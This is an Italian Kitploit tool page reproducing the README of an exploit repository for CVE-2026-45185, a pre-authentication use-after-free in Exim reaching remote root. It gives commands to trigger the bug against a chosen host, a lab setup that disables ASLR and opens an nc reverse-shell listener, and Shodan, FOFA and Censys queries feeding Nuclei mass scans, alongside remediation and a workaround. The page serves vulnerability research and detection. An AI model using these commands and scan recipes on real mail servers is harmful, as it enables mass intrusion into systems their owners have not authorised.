Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-45185 — Sfrutta una use-after-free critica nell'heap pre-autenticazione in Exim tramite TLS close_notify per ottenere root remota; include un harness di laboratorio GDB e un template di rilevamento Nuclei. | Kitploit
Strumenti/GitHubGitHub/0init/cve-2026-45185
Scanner di VulnerabilitàAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHub0init/cve-2026-45185

CVE-2026-45185

Sfrutta una use-after-free critica nell'heap pre-autenticazione in Exim tramite TLS close_notify per ottenere root remota; include un harness di laboratorio GDB e un template di rilevamento Nuclei.

Vedi Repository
12 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-45185 — Dead.Letter: UAF sull'heap di Exim fino a root remota

CVSS 9.8 Critico | Exim 4.97–4.99.2 | Build Ubuntu / GnuTLS | Non autenticato

Analisi completa con trace GDB, analisi passo-passo e dati sull'esposizione globale:
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html


Cos'è

L'invio di un alert TLS close_notify mentre Exim è nel bel mezzo di un trasferimento del corpo BDAT fa sì che tls_close() chiami gnutls_deinit(), liberando la struct gnutls_session_int di 7.304 byte. Il livello di ricezione BDAT mantiene un puntatore stale. Quando il loop di lettura del corpo riprende, tls_getbuf → gnutls_record_recv dereferenzia la sessione liberata — use-after-free sull'heap, pre-autenticazione, nessuna credenziale richiesta.

Corretto in Exim 4.99.3.


Sistemi interessati

CondizioneRequisito
Versione Exim4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2
BuildUbuntu / Debian con GnuTLS (libgnutls28-dev)
FunzionalitàCHUNKING annunciata in EHLO (attiva per impostazione predefinita)

Alpine Linux ed Exim compilato manualmente linkato con OpenSSL non sono interessati.


File


poc.py — trigger UAF

root@kitploit:~
python3 poc.py <host> <port> <rcpt@domain>

# example
python3 poc.py mail.example.com 587 [email protected]

Se il server resta attivo dopo il trigger, il percorso UAF esiste. Se va in crash, qualcosa è cambiato nel comportamento di tcache.


diag19_gdb.py — harness GDB (solo laboratorio)

Setup del laboratorio Docker (5 minuti)

root@kitploit:~
# 1. Pull Ubuntu 22.04 + install Exim 4.97 with GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3

# 2. Disable ASLR (required for hardcoded addresses)
echo 0 | tee /proc/sys/kernel/randomize_va_space

# 3. Configure Exim — enable CHUNKING + STARTTLS, listen on all interfaces
dpkg-reconfigure exim4-config   # choose "internet site", accept defaults

# 4. Start Exim under GDB with harness loaded
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d

# 5. In another terminal, run the trigger
python3 poc.py 127.0.0.1 25 user@localhost

# 6. Start a listener for the reverse shell
nc -lvp 4444

Prima di eseguire: modifica CMD in diag19_gdb.py per puntare all'IP del tuo listener.
L'indirizzo SYSTEM viene risolto dinamicamente al caricamento — nessuna ricerca manuale necessaria.
I due indirizzi dentro PostTlsCloseFin (lwr_receive_getbuf, tls_getbuf) sono interni a Exim e devono corrispondere alla tua build:

root@kitploit:~
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf

CVE-2026-45185.yaml — rilevamento Nuclei

root@kitploit:~
# Single target
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v

# Target list
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt

# Mass scan from Shodan results
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
  awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt

Logica di rilevamento

Il template esegue due fasi indipendenti:

  1. Fingerprint EHLO — invia EHLO, verifica tutte e tre le condizioni richieste:

    • Regex di versione 4.97–4.99.2
    • Ubuntu nel banner (collegamento GnuTLS confermato)
    • CHUNKING nelle capability
  2. Probe BDAT — invia BDAT 200 senza RCPT TO, verifica il 503 specifico di Exim:

    root@kitploit:~
    503 valid RCPT command must precede BDAT
    

Query per scansioni di massa

root@kitploit:~
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587

# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")

# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"

Rimedio

Aggiorna a Exim 4.99.3 o successivo (patch ufficiale).

Workaround (nessun percorso di exploit, nessun riavvio richiesto per il test):

root@kitploit:~
# exim4.conf
chunking_advertise_hosts = !*

Poi esegui service exim4 restart.


Cronologia

DataEvento
2026-06-10CVE assegnato da XBOW
2026-06-24Advisory pubblica rilasciata
2026-08-07RCE in laboratorio confermata; pubblicati questo write-up + PoC

Riferimenti

  • Write-up: https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
  • Advisory XBOW: https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-45185

di @0Init

Scarica lo strumento
FileScopo
poc.pyTrigger UAF — solo libreria standard, niente pip. Sicuro da eseguire contro i propri server. Raggiunge il percorso UAF e si ferma (nessun payload).
diag19_gdb.pyHarness di exploit GDB — 7 breakpoint, scrive system() nel chunk liberato dopo il ritorno di gnutls_deinit(). Solo laboratorio (richiede ASLR disattivato + versioni corrispondenti delle librerie).
CVE-2026-45185.yamlTemplate Nuclei — rileva tutte e tre le precondizioni tramite fingerprint EHLO + probe BDAT. Rilevamento sicuro, sola lettura.